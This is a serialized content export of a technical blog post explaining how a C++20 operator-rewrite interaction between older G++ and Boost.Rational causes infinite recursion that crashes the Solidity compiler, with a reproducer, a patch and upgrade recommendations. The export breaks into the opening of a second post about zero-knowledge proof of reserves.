i));\n",{"type":23,"tag":481,"props":88930,"children":88931},{"class":483,"line":1142},[88932],{"type":23,"tag":481,"props":88933,"children":88934},{"style":525},[88935],{"type":28,"value":879},{"type":23,"tag":481,"props":88937,"children":88938},{"class":483,"line":1159},[88939],{"type":23,"tag":481,"props":88940,"children":88941},{"style":525},[88942],{"type":28,"value":17837},{"type":23,"tag":481,"props":88944,"children":88945},{"class":483,"line":1172},[88946],{"type":23,"tag":481,"props":88947,"children":88948},{"style":525},[88949],{"type":28,"value":1443},{"type":23,"tag":481,"props":88951,"children":88952},{"class":483,"line":1181},[88953],{"type":23,"tag":481,"props":88954,"children":88955},{"emptyLinePlaceholder":15},[88956],{"type":28,"value":1210},{"type":23,"tag":481,"props":88958,"children":88959},{"class":483,"line":1204},[88960,88964,88968,88972,88976,88980,88984,88988],{"type":23,"tag":481,"props":88961,"children":88962},{"style":497},[88963],{"type":28,"value":63745},{"type":23,"tag":481,"props":88965,"children":88966},{"style":525},[88967],{"type":28,"value":6199},{"type":23,"tag":481,"props":88969,"children":88970},{"style":497},[88971],{"type":28,"value":67940},{"type":23,"tag":481,"props":88973,"children":88974},{"style":943},[88975],{"type":28,"value":88161},{"type":23,"tag":481,"props":88977,"children":88978},{"style":525},[88979],{"type":28,"value":588},{"type":23,"tag":481,"props":88981,"children":88982},{"style":497},[88983],{"type":28,"value":67940},{"type":23,"tag":481,"props":88985,"children":88986},{"style":943},[88987],{"type":28,"value":87980},{"type":23,"tag":481,"props":88989,"children":88990},{"style":525},[88991],{"type":28,"value":3469},{"type":23,"tag":481,"props":88993,"children":88994},{"class":483,"line":1213},[88995],{"type":23,"tag":481,"props":88996,"children":88997},{"style":525},[88998],{"type":28,"value":88999},"BOOST_CONSTEXPR\n",{"type":23,"tag":481,"props":89001,"children":89002},{"class":483,"line":1222},[89003,89008,89013,89018,89023],{"type":23,"tag":481,"props":89004,"children":89005},{"style":497},[89006],{"type":28,"value":89007},"inline",{"type":23,"tag":481,"props":89009,"children":89010},{"style":497},[89011],{"type":28,"value":89012}," typename",{"type":23,"tag":481,"props":89014,"children":89015},{"style":525},[89016],{"type":28,"value":89017}," boost::",{"type":23,"tag":481,"props":89019,"children":89020},{"style":943},[89021],{"type":28,"value":89022},"enable_if_c",{"type":23,"tag":481,"props":89024,"children":89025},{"style":514},[89026],{"type":28,"value":89027}," \u003C\n",{"type":23,"tag":481,"props":89029,"children":89030},{"class":483,"line":1291},[89031,89036,89041,89045,89049,89054,89058,89062],{"type":23,"tag":481,"props":89032,"children":89033},{"style":525},[89034],{"type":28,"value":89035}," rational_detail::is_compatible_integer\u003C",{"type":23,"tag":481,"props":89037,"children":89038},{"style":943},[89039],{"type":28,"value":89040},"Arg",{"type":23,"tag":481,"props":89042,"children":89043},{"style":525},[89044],{"type":28,"value":588},{"type":23,"tag":481,"props":89046,"children":89047},{"style":943},[89048],{"type":28,"value":88209},{"type":23,"tag":481,"props":89050,"children":89051},{"style":525},[89052],{"type":28,"value":89053},">::value, ",{"type":23,"tag":481,"props":89055,"children":89056},{"style":497},[89057],{"type":28,"value":27199},{"type":23,"tag":481,"props":89059,"children":89060},{"style":514},[89061],{"type":28,"value":7947},{"type":23,"tag":481,"props":89063,"children":89064},{"style":525},[89065],{"type":28,"value":89066},"::type\n",{"type":23,"tag":481,"props":89068,"children":89069},{"class":483,"line":1299},[89070,89075,89080,89084,89088,89092,89096,89100,89104,89108,89112,89116,89120,89124,89128],{"type":23,"tag":481,"props":89071,"children":89072},{"style":497},[89073],{"type":28,"value":89074}," operator",{"type":23,"tag":481,"props":89076,"children":89077},{"style":525},[89078],{"type":28,"value":89079}," == (",{"type":23,"tag":481,"props":89081,"children":89082},{"style":497},[89083],{"type":28,"value":7139},{"type":23,"tag":481,"props":89085,"children":89086},{"style":943},[89087],{"type":28,"value":88161},{"type":23,"tag":481,"props":89089,"children":89090},{"style":497},[89091],{"type":28,"value":623},{"type":23,"tag":481,"props":89093,"children":89094},{"style":508},[89095],{"type":28,"value":88242},{"type":23,"tag":481,"props":89097,"children":89098},{"style":525},[89099],{"type":28,"value":588},{"type":23,"tag":481,"props":89101,"children":89102},{"style":497},[89103],{"type":28,"value":7139},{"type":23,"tag":481,"props":89105,"children":89106},{"style":943},[89107],{"type":28,"value":87996},{"type":23,"tag":481,"props":89109,"children":89110},{"style":525},[89111],{"type":28,"value":3282},{"type":23,"tag":481,"props":89113,"children":89114},{"style":943},[89115],{"type":28,"value":88209},{"type":23,"tag":481,"props":89117,"children":89118},{"style":525},[89119],{"type":28,"value":7947},{"type":23,"tag":481,"props":89121,"children":89122},{"style":497},[89123],{"type":28,"value":623},{"type":23,"tag":481,"props":89125,"children":89126},{"style":508},[89127],{"type":28,"value":87368},{"type":23,"tag":481,"props":89129,"children":89130},{"style":525},[89131],{"type":28,"value":675},{"type":23,"tag":481,"props":89133,"children":89134},{"class":483,"line":1329},[89135],{"type":23,"tag":481,"props":89136,"children":89137},{"style":525},[89138],{"type":28,"value":8366},{"type":23,"tag":481,"props":89140,"children":89141},{"class":483,"line":1337},[89142,89146,89150,89154],{"type":23,"tag":481,"props":89143,"children":89144},{"style":535},[89145],{"type":28,"value":36875},{"type":23,"tag":481,"props":89147,"children":89148},{"style":525},[89149],{"type":28,"value":14256},{"type":23,"tag":481,"props":89151,"children":89152},{"style":514},[89153],{"type":28,"value":6055},{"type":23,"tag":481,"props":89155,"children":89156},{"style":525},[89157],{"type":28,"value":89158}," b; \n",{"type":23,"tag":481,"props":89160,"children":89161},{"class":483,"line":1369},[89162],{"type":23,"tag":481,"props":89163,"children":89164},{"style":525},[89165],{"type":28,"value":1443},{"type":23,"tag":24,"props":89167,"children":89168},{},[89169,89171,89177],{"type":28,"value":89170},"This was designed under C++17 semantics. Back then, ",{"type":23,"tag":64,"props":89172,"children":89174},{"className":89173},[],[89175],{"type":28,"value":89176},"rhs == lhs",{"type":28,"value":89178}," would fall back to member overloads if available. All good.",{"type":23,"tag":24,"props":89180,"children":89181},{},[89182,89184,89189,89190,89196],{"type":28,"value":89183},"But under ",{"type":23,"tag":64,"props":89185,"children":89187},{"className":89186},[],[89188],{"type":28,"value":87733},{"type":28,"value":19002},{"type":23,"tag":64,"props":89191,"children":89193},{"className":89192},[],[89194],{"type":28,"value":89195},"G++ \u003C 14",{"type":28,"value":287},{"type":23,"tag":14178,"props":89198,"children":89199},{},[89200,89205,89210,89215],{"type":23,"tag":77,"props":89201,"children":89202},{},[89203],{"type":28,"value":89204},"G++ incorrectly chooses this non-member operator first",{"type":23,"tag":77,"props":89206,"children":89207},{},[89208],{"type":28,"value":89209},"C++20 reverses the comparison",{"type":23,"tag":77,"props":89211,"children":89212},{},[89213],{"type":28,"value":89214},"Which calls the same function again with arguments flipped",{"type":23,"tag":77,"props":89216,"children":89217},{},[89218],{"type":28,"value":89219},"And so on...",{"type":23,"tag":24,"props":89221,"children":89222},{},[89223,89225,89230],{"type":28,"value":89224},"This creates ",{"type":23,"tag":2875,"props":89226,"children":89227},{},[89228],{"type":28,"value":89229},"infinite recursion",{"type":28,"value":199},{"type":23,"tag":24,"props":89232,"children":89233},{},[89234],{"type":28,"value":89235},"A minimal example:",{"type":23,"tag":435,"props":89237,"children":89239},{"code":89238,"language":26625,"meta":7,"className":26623,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n boost::rational\u003Cint> r;\n return r == 0;\n}\n",[89240],{"type":23,"tag":64,"props":89241,"children":89242},{"__ignoreMap":7},[89243,89251,89263,89270,89285,89309,89332],{"type":23,"tag":481,"props":89244,"children":89245},{"class":483,"line":484},[89246],{"type":23,"tag":481,"props":89247,"children":89248},{"style":488},[89249],{"type":28,"value":89250},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":23,"tag":481,"props":89252,"children":89253},{"class":483,"line":351},[89254,89258],{"type":23,"tag":481,"props":89255,"children":89256},{"style":535},[89257],{"type":28,"value":87947},{"type":23,"tag":481,"props":89259,"children":89260},{"style":1805},[89261],{"type":28,"value":89262}," \u003Cboost/rational.hpp>\n",{"type":23,"tag":481,"props":89264,"children":89265},{"class":483,"line":531},[89266],{"type":23,"tag":481,"props":89267,"children":89268},{"emptyLinePlaceholder":15},[89269],{"type":28,"value":1210},{"type":23,"tag":481,"props":89271,"children":89272},{"class":483,"line":567},[89273,89277,89281],{"type":23,"tag":481,"props":89274,"children":89275},{"style":497},[89276],{"type":28,"value":16543},{"type":23,"tag":481,"props":89278,"children":89279},{"style":610},[89280],{"type":28,"value":88312},{"type":23,"tag":481,"props":89282,"children":89283},{"style":525},[89284],{"type":28,"value":13226},{"type":23,"tag":481,"props":89286,"children":89287},{"class":483,"line":678},[89288,89293,89297,89301,89305],{"type":23,"tag":481,"props":89289,"children":89290},{"style":525},[89291],{"type":28,"value":89292}," boost::rational",{"type":23,"tag":481,"props":89294,"children":89295},{"style":514},[89296],{"type":28,"value":3282},{"type":23,"tag":481,"props":89298,"children":89299},{"style":497},[89300],{"type":28,"value":16543},{"type":23,"tag":481,"props":89302,"children":89303},{"style":514},[89304],{"type":28,"value":7947},{"type":23,"tag":481,"props":89306,"children":89307},{"style":525},[89308],{"type":28,"value":88341},{"type":23,"tag":481,"props":89310,"children":89311},{"class":483,"line":784},[89312,89316,89320,89324,89328],{"type":23,"tag":481,"props":89313,"children":89314},{"style":535},[89315],{"type":28,"value":14481},{"type":23,"tag":481,"props":89317,"children":89318},{"style":525},[89319],{"type":28,"value":88353},{"type":23,"tag":481,"props":89321,"children":89322},{"style":514},[89323],{"type":28,"value":6055},{"type":23,"tag":481,"props":89325,"children":89326},{"style":551},[89327],{"type":28,"value":554},{"type":23,"tag":481,"props":89329,"children":89330},{"style":525},[89331],{"type":28,"value":528},{"type":23,"tag":481,"props":89333,"children":89334},{"class":483,"line":812},[89335],{"type":23,"tag":481,"props":89336,"children":89337},{"style":525},[89338],{"type":28,"value":1443},{"type":23,"tag":24,"props":89340,"children":89341},{},[89342],{"type":28,"value":89343},"Expected output: nothing.",{"type":23,"tag":24,"props":89345,"children":89346},{},[89347],{"type":28,"value":89348},"Actual: segmentation fault (stack overflow).",{"type":23,"tag":24,"props":89350,"children":89351},{},[89352,89354,89361],{"type":28,"value":89353},"This exact pattern was ",{"type":23,"tag":190,"props":89355,"children":89358},{"href":89356,"rel":89357},"https://github.com/boostorg/rational/issues/43",[194],[89359],{"type":28,"value":89360},"reported and fixed in Boost rational",{"type":28,"value":89362},", but only in version 1.75+.",{"type":23,"tag":24,"props":89364,"children":89365},{},[89366],{"type":28,"value":89367},"Here’s the one-line fix:",{"type":23,"tag":435,"props":89369,"children":89371},{"code":89370,"language":37881,"meta":7,"className":37879,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n- return a == b;\n+ return a.operator==(b);\n}\n",[89372],{"type":23,"tag":64,"props":89373,"children":89374},{"__ignoreMap":7},[89375,89383,89390,89398,89406,89414,89421,89429,89437],{"type":23,"tag":481,"props":89376,"children":89377},{"class":483,"line":484},[89378],{"type":23,"tag":481,"props":89379,"children":89380},{"style":525},[89381],{"type":28,"value":89382},"template \u003Cclass Arg, class IntType>\n",{"type":23,"tag":481,"props":89384,"children":89385},{"class":483,"line":351},[89386],{"type":23,"tag":481,"props":89387,"children":89388},{"style":525},[89389],{"type":28,"value":88999},{"type":23,"tag":481,"props":89391,"children":89392},{"class":483,"line":531},[89393],{"type":23,"tag":481,"props":89394,"children":89395},{"style":525},[89396],{"type":28,"value":89397},"inline typename boost::enable_if_c \u003C\n",{"type":23,"tag":481,"props":89399,"children":89400},{"class":483,"line":567},[89401],{"type":23,"tag":481,"props":89402,"children":89403},{"style":525},[89404],{"type":28,"value":89405}," rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":23,"tag":481,"props":89407,"children":89408},{"class":483,"line":678},[89409],{"type":23,"tag":481,"props":89410,"children":89411},{"style":525},[89412],{"type":28,"value":89413}," operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":23,"tag":481,"props":89415,"children":89416},{"class":483,"line":784},[89417],{"type":23,"tag":481,"props":89418,"children":89419},{"style":525},[89420],{"type":28,"value":8366},{"type":23,"tag":481,"props":89422,"children":89423},{"class":483,"line":812},[89424],{"type":23,"tag":481,"props":89425,"children":89426},{"style":1805},[89427],{"type":28,"value":89428},"- return a == b;\n",{"type":23,"tag":481,"props":89430,"children":89431},{"class":483,"line":825},[89432],{"type":23,"tag":481,"props":89433,"children":89434},{"style":551},[89435],{"type":28,"value":89436},"+ return a.operator==(b);\n",{"type":23,"tag":481,"props":89438,"children":89439},{"class":483,"line":843},[89440],{"type":23,"tag":481,"props":89441,"children":89442},{"style":525},[89443],{"type":28,"value":1443},{"type":23,"tag":24,"props":89445,"children":89446},{},[89447,89449,89454,89456,89461],{"type":28,"value":89448},"Instead of calling ",{"type":23,"tag":64,"props":89450,"children":89452},{"className":89451},[],[89453],{"type":28,"value":87779},{"type":28,"value":89455}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":23,"tag":64,"props":89457,"children":89459},{"className":89458},[],[89460],{"type":28,"value":87787},{"type":28,"value":199},{"type":23,"tag":24,"props":89463,"children":89464},{},[89465],{"type":28,"value":89466},"This prevents C++20 from triggering recursive rewrites.",{"type":23,"tag":16288,"props":89468,"children":89469},{},[],{"type":23,"tag":31,"props":89471,"children":89473},{"id":89472},"part-iv-how-this-breaks-solidity",[89474],{"type":28,"value":89475},"Part IV: How This Breaks Solidity",{"type":23,"tag":24,"props":89477,"children":89478},{},[89479,89481,89486],{"type":28,"value":89480},"The Solidity codebase uses ",{"type":23,"tag":64,"props":89482,"children":89484},{"className":89483},[],[89485],{"type":28,"value":87634},{"type":28,"value":89487}," to represent certain compile-time constant expressions.",{"type":23,"tag":24,"props":89489,"children":89490},{},[89491,89493,89499],{"type":28,"value":89492},"One snippet that can trigger this issue appears in ",{"type":23,"tag":64,"props":89494,"children":89496},{"className":89495},[],[89497],{"type":28,"value":89498},"DeclarationTypeChecker::endVisit",{"type":28,"value":287},{"type":23,"tag":435,"props":89501,"children":89503},{"code":89502,"language":26625,"meta":7,"className":26623,"style":7},"if (Expression const* length = _typeName.length()) {\n std::optional\u003Crational> lengthValue;\n\n if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n ...\n else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n lengthValue = value->value;\n\n if (!lengthValue)\n ...\n else if (*lengthValue == 0) // \u003C-- Infinite recursion happens here\n ...\n}\n",[89504],{"type":23,"tag":64,"props":89505,"children":89506},{"__ignoreMap":7},[89507,89554,89579,89586,89664,89671,89724,89752,89759,89779,89786,89826,89833],{"type":23,"tag":481,"props":89508,"children":89509},{"class":483,"line":484},[89510,89514,89519,89523,89527,89532,89536,89541,89545,89549],{"type":23,"tag":481,"props":89511,"children":89512},{"style":535},[89513],{"type":28,"value":13069},{"type":23,"tag":481,"props":89515,"children":89516},{"style":525},[89517],{"type":28,"value":89518}," (Expression ",{"type":23,"tag":481,"props":89520,"children":89521},{"style":497},[89522],{"type":28,"value":7139},{"type":23,"tag":481,"props":89524,"children":89525},{"style":514},[89526],{"type":28,"value":2120},{"type":23,"tag":481,"props":89528,"children":89529},{"style":525},[89530],{"type":28,"value":89531}," length ",{"type":23,"tag":481,"props":89533,"children":89534},{"style":514},[89535],{"type":28,"value":603},{"type":23,"tag":481,"props":89537,"children":89538},{"style":508},[89539],{"type":28,"value":89540}," _typeName",{"type":23,"tag":481,"props":89542,"children":89543},{"style":525},[89544],{"type":28,"value":199},{"type":23,"tag":481,"props":89546,"children":89547},{"style":610},[89548],{"type":28,"value":5983},{"type":23,"tag":481,"props":89550,"children":89551},{"style":525},[89552],{"type":28,"value":89553},"()) {\n",{"type":23,"tag":481,"props":89555,"children":89556},{"class":483,"line":351},[89557,89562,89566,89570,89574],{"type":23,"tag":481,"props":89558,"children":89559},{"style":525},[89560],{"type":28,"value":89561}," std::optional",{"type":23,"tag":481,"props":89563,"children":89564},{"style":514},[89565],{"type":28,"value":3282},{"type":23,"tag":481,"props":89567,"children":89568},{"style":525},[89569],{"type":28,"value":88639},{"type":23,"tag":481,"props":89571,"children":89572},{"style":514},[89573],{"type":28,"value":7947},{"type":23,"tag":481,"props":89575,"children":89576},{"style":525},[89577],{"type":28,"value":89578}," lengthValue;\n",{"type":23,"tag":481,"props":89580,"children":89581},{"class":483,"line":531},[89582],{"type":23,"tag":481,"props":89583,"children":89584},{"emptyLinePlaceholder":15},[89585],{"type":28,"value":1210},{"type":23,"tag":481,"props":89587,"children":89588},{"class":483,"line":567},[89589,89593,89597,89601,89605,89609,89613,89617,89621,89626,89630,89634,89638,89642,89646,89651,89655,89659],{"type":23,"tag":481,"props":89590,"children":89591},{"style":535},[89592],{"type":28,"value":9766},{"type":23,"tag":481,"props":89594,"children":89595},{"style":525},[89596],{"type":28,"value":578},{"type":23,"tag":481,"props":89598,"children":89599},{"style":508},[89600],{"type":28,"value":5983},{"type":23,"tag":481,"props":89602,"children":89603},{"style":525},[89604],{"type":28,"value":11245},{"type":23,"tag":481,"props":89606,"children":89607},{"style":610},[89608],{"type":28,"value":27677},{"type":23,"tag":481,"props":89610,"children":89611},{"style":525},[89612],{"type":28,"value":27682},{"type":23,"tag":481,"props":89614,"children":89615},{"style":508},[89616],{"type":28,"value":30272},{"type":23,"tag":481,"props":89618,"children":89619},{"style":514},[89620],{"type":28,"value":11673},{"type":23,"tag":481,"props":89622,"children":89623},{"style":508},[89624],{"type":28,"value":89625}," length",{"type":23,"tag":481,"props":89627,"children":89628},{"style":525},[89629],{"type":28,"value":11245},{"type":23,"tag":481,"props":89631,"children":89632},{"style":610},[89633],{"type":28,"value":27677},{"type":23,"tag":481,"props":89635,"children":89636},{"style":525},[89637],{"type":28,"value":27682},{"type":23,"tag":481,"props":89639,"children":89640},{"style":508},[89641],{"type":28,"value":30272},{"type":23,"tag":481,"props":89643,"children":89644},{"style":525},[89645],{"type":28,"value":11245},{"type":23,"tag":481,"props":89647,"children":89648},{"style":610},[89649],{"type":28,"value":89650},"category",{"type":23,"tag":481,"props":89652,"children":89653},{"style":525},[89654],{"type":28,"value":11531},{"type":23,"tag":481,"props":89656,"children":89657},{"style":514},[89658],{"type":28,"value":6055},{"type":23,"tag":481,"props":89660,"children":89661},{"style":525},[89662],{"type":28,"value":89663}," Type::Category::RationalNumber)\n",{"type":23,"tag":481,"props":89665,"children":89666},{"class":483,"line":678},[89667],{"type":23,"tag":481,"props":89668,"children":89669},{"style":525},[89670],{"type":28,"value":79374},{"type":23,"tag":481,"props":89672,"children":89673},{"class":483,"line":784},[89674,89679,89683,89688,89692,89697,89701,89706,89710,89715,89719],{"type":23,"tag":481,"props":89675,"children":89676},{"style":535},[89677],{"type":28,"value":89678}," else",{"type":23,"tag":481,"props":89680,"children":89681},{"style":535},[89682],{"type":28,"value":13278},{"type":23,"tag":481,"props":89684,"children":89685},{"style":525},[89686],{"type":28,"value":89687}," (std::optional",{"type":23,"tag":481,"props":89689,"children":89690},{"style":514},[89691],{"type":28,"value":3282},{"type":23,"tag":481,"props":89693,"children":89694},{"style":525},[89695],{"type":28,"value":89696},"ConstantEvaluator::TypedRational",{"type":23,"tag":481,"props":89698,"children":89699},{"style":514},[89700],{"type":28,"value":7947},{"type":23,"tag":481,"props":89702,"children":89703},{"style":525},[89704],{"type":28,"value":89705}," value ",{"type":23,"tag":481,"props":89707,"children":89708},{"style":514},[89709],{"type":28,"value":603},{"type":23,"tag":481,"props":89711,"children":89712},{"style":525},[89713],{"type":28,"value":89714}," ConstantEvaluator::",{"type":23,"tag":481,"props":89716,"children":89717},{"style":610},[89718],{"type":28,"value":35523},{"type":23,"tag":481,"props":89720,"children":89721},{"style":525},[89722],{"type":28,"value":89723},"(...))\n",{"type":23,"tag":481,"props":89725,"children":89726},{"class":483,"line":812},[89727,89732,89736,89740,89744,89748],{"type":23,"tag":481,"props":89728,"children":89729},{"style":525},[89730],{"type":28,"value":89731}," lengthValue ",{"type":23,"tag":481,"props":89733,"children":89734},{"style":514},[89735],{"type":28,"value":603},{"type":23,"tag":481,"props":89737,"children":89738},{"style":508},[89739],{"type":28,"value":30026},{"type":23,"tag":481,"props":89741,"children":89742},{"style":525},[89743],{"type":28,"value":11245},{"type":23,"tag":481,"props":89745,"children":89746},{"style":508},[89747],{"type":28,"value":36670},{"type":23,"tag":481,"props":89749,"children":89750},{"style":525},[89751],{"type":28,"value":528},{"type":23,"tag":481,"props":89753,"children":89754},{"class":483,"line":825},[89755],{"type":23,"tag":481,"props":89756,"children":89757},{"emptyLinePlaceholder":15},[89758],{"type":28,"value":1210},{"type":23,"tag":481,"props":89760,"children":89761},{"class":483,"line":843},[89762,89766,89770,89774],{"type":23,"tag":481,"props":89763,"children":89764},{"style":535},[89765],{"type":28,"value":9766},{"type":23,"tag":481,"props":89767,"children":89768},{"style":525},[89769],{"type":28,"value":578},{"type":23,"tag":481,"props":89771,"children":89772},{"style":514},[89773],{"type":28,"value":18119},{"type":23,"tag":481,"props":89775,"children":89776},{"style":525},[89777],{"type":28,"value":89778},"lengthValue)\n",{"type":23,"tag":481,"props":89780,"children":89781},{"class":483,"line":864},[89782],{"type":23,"tag":481,"props":89783,"children":89784},{"style":525},[89785],{"type":28,"value":79374},{"type":23,"tag":481,"props":89787,"children":89788},{"class":483,"line":873},[89789,89793,89797,89801,89805,89809,89813,89817,89821],{"type":23,"tag":481,"props":89790,"children":89791},{"style":535},[89792],{"type":28,"value":89678},{"type":23,"tag":481,"props":89794,"children":89795},{"style":535},[89796],{"type":28,"value":13278},{"type":23,"tag":481,"props":89798,"children":89799},{"style":525},[89800],{"type":28,"value":578},{"type":23,"tag":481,"props":89802,"children":89803},{"style":514},[89804],{"type":28,"value":2120},{"type":23,"tag":481,"props":89806,"children":89807},{"style":525},[89808],{"type":28,"value":87610},{"type":23,"tag":481,"props":89810,"children":89811},{"style":514},[89812],{"type":28,"value":6055},{"type":23,"tag":481,"props":89814,"children":89815},{"style":551},[89816],{"type":28,"value":554},{"type":23,"tag":481,"props":89818,"children":89819},{"style":525},[89820],{"type":28,"value":642},{"type":23,"tag":481,"props":89822,"children":89823},{"style":488},[89824],{"type":28,"value":89825}," // \u003C-- Infinite recursion happens here\n",{"type":23,"tag":481,"props":89827,"children":89828},{"class":483,"line":1125},[89829],{"type":23,"tag":481,"props":89830,"children":89831},{"style":525},[89832],{"type":28,"value":79374},{"type":23,"tag":481,"props":89834,"children":89835},{"class":483,"line":1142},[89836],{"type":23,"tag":481,"props":89837,"children":89838},{"style":525},[89839],{"type":28,"value":1443},{"type":23,"tag":24,"props":89841,"children":89842},{},[89843],{"type":28,"value":89844},"Under normal circumstances, this expression is benign. But:",{"type":23,"tag":14178,"props":89846,"children":89847},{},[89848,89853,89858],{"type":23,"tag":77,"props":89849,"children":89850},{},[89851],{"type":28,"value":89852},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":23,"tag":77,"props":89854,"children":89855},{},[89856],{"type":28,"value":89857},"C++20 reverses the arguments",{"type":23,"tag":77,"props":89859,"children":89860},{},[89861],{"type":28,"value":89862},"The non-member operator recursively calls itself",{"type":23,"tag":24,"props":89864,"children":89865},{},[89866],{"type":28,"value":89867},"💥: segmentation fault.",{"type":23,"tag":16288,"props":89869,"children":89870},{},[],{"type":23,"tag":31,"props":89872,"children":89874},{"id":89873},"part-v-what-environments-are-affected",[89875],{"type":28,"value":89876},"Part V: What Environments are Affected?",{"type":23,"tag":24,"props":89878,"children":89879},{},[89880],{"type":28,"value":89881},"If a system uses any of the following:",{"type":23,"tag":14178,"props":89883,"children":89884},{},[89885,89890,89895],{"type":23,"tag":77,"props":89886,"children":89887},{},[89888],{"type":28,"value":89889},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":23,"tag":77,"props":89891,"children":89892},{},[89893],{"type":28,"value":89894},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":23,"tag":77,"props":89896,"children":89897},{},[89898],{"type":28,"value":89899},"C++20 enabled (default in recent Solidity builds)",{"type":23,"tag":24,"props":89901,"children":89902},{},[89903,89905,89910,89912,89918],{"type":28,"value":89904},"They will encounter this crash ",{"type":23,"tag":2875,"props":89906,"children":89907},{},[89908],{"type":28,"value":89909},"as soon as",{"type":28,"value":89911}," it processes a Solidity source with a length expression like ",{"type":23,"tag":64,"props":89913,"children":89915},{"className":89914},[],[89916],{"type":28,"value":89917},"T[0]",{"type":28,"value":89919}," or anything involving compile-time rational comparisons.",{"type":23,"tag":16288,"props":89921,"children":89922},{},[],{"type":23,"tag":31,"props":89924,"children":89926},{"id":89925},"recommendations",[89927],{"type":28,"value":89928},"Recommendations",{"type":23,"tag":14178,"props":89930,"children":89931},{},[89932,89940],{"type":23,"tag":77,"props":89933,"children":89934},{},[89935],{"type":23,"tag":2875,"props":89936,"children":89937},{},[89938],{"type":28,"value":89939},"Update Boost to ≥ 1.75",{"type":23,"tag":77,"props":89941,"children":89942},{},[89943],{"type":23,"tag":2875,"props":89944,"children":89945},{},[89946],{"type":28,"value":89947},"Pin G++ to v14 or later",{"type":23,"tag":16288,"props":89949,"children":89950},{},[],{"type":23,"tag":31,"props":89952,"children":89953},{"id":26445},[89954],{"type":28,"value":16443},{"type":23,"tag":24,"props":89956,"children":89957},{},[89958],{"type":28,"value":89959},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":23,"tag":24,"props":89961,"children":89962},{},[89963,89965,89969],{"type":28,"value":89964},"But it ",{"type":23,"tag":2875,"props":89966,"children":89967},{},[89968],{"type":28,"value":1518},{"type":28,"value":89970}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":23,"tag":24,"props":89972,"children":89973},{},[89974],{"type":28,"value":89975},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":23,"tag":24,"props":89977,"children":89978},{},[89979],{"type":28,"value":89980},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":23,"tag":2918,"props":89982,"children":89983},{},[89984],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":89986},[89987,89988,89993,89996,89997,89998,89999,90000],{"id":87670,"depth":351,"text":87673},{"id":87759,"depth":351,"text":87762,"children":89989},[89990,89991,89992],{"id":87765,"depth":531,"text":87768},{"id":87833,"depth":531,"text":87836},{"id":87924,"depth":531,"text":87927},{"id":88508,"depth":351,"text":88511,"children":89994},[89995],{"id":88514,"depth":531,"text":88517},{"id":88625,"depth":351,"text":88628},{"id":89472,"depth":351,"text":89475},{"id":89873,"depth":351,"text":89876},{"id":89925,"depth":351,"text":89928},{"id":26445,"depth":351,"text":16443},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":90005,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":90006,"description":90007,"date":90008,"author":28715,"image":90009,"isFeatured":15,"onBlogPage":15,"tags":90011,"body":90014,"_type":358,"_id":94790,"_source":360,"_file":94791,"_stem":94792,"_extension":363},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":90010,"width":11111,"height":11111},"/posts/por/title.png",[90012,90013],"zk","por",{"type":20,"children":90015,"toc":94767},[90016,90022,90034,90046,90051,90083,90097,90103,90115,90120,90125,90162,90167,90173,90178,90185,90190,90216,90221,90227,90247,90261,90269,90274,90279,90287,90300,90306,90388,90394,90399,90412,90417,90424,90448,90456,90461,90467,90472,90920,90933,90939,90944,90952,90970,90978,90991,90999,92660,92665,92672,92678,92683,92690,92706,92713,92721,92728,94239,94244,94251,94257,94262,94289,94294,94313,94319,94327,94345,94394,94402,94421,94443,94449,94462,94467,94474,94479,94542,94547,94554,94574,94580,94585,94591,94596,94640,94645,94653,94659,94664,94706,94711,94719,94724,94732,94736,94741,94754],{"type":23,"tag":31,"props":90017,"children":90019},{"id":90018},"what-is-a-proof-of-reserves",[90020],{"type":28,"value":90021},"What is a Proof of Reserves?",{"type":23,"tag":24,"props":90023,"children":90024},{},[90025,90027,90032],{"type":28,"value":90026},"At its heart, ",{"type":23,"tag":2875,"props":90028,"children":90029},{},[90030],{"type":28,"value":90031},"Proof of Reserves (PoR)",{"type":28,"value":90033}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":23,"tag":24,"props":90035,"children":90036},{},[90037,90039,90044],{"type":28,"value":90038},"Think of it this way: ",{"type":23,"tag":2875,"props":90040,"children":90041},{},[90042],{"type":28,"value":90043},"PoR",{"type":28,"value":90045}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":23,"tag":24,"props":90047,"children":90048},{},[90049],{"type":28,"value":90050},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification 